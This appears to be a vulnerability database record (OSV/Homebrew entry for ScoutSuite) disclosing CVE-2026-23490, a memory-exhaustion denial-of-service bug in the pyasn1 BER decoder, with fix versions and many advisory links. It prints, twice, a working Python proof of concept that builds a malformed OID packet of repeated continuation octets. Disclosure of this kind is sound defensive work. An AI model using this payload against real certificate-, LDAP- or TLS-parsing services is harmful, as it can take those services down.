          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-SCOUTSUITE-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-10-31 20:43 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "scoutsuite",
            "purl": "pkg:brew/scoutsuite"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "5.14.0_1"
                },
                {
                  "fixed": "5.14.0_7"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-scoutsuite-CVE-2026-23490",
      "modified": "2026-10-31T20:43:52Z",
      "published": "2026-08-13T17:34:19Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }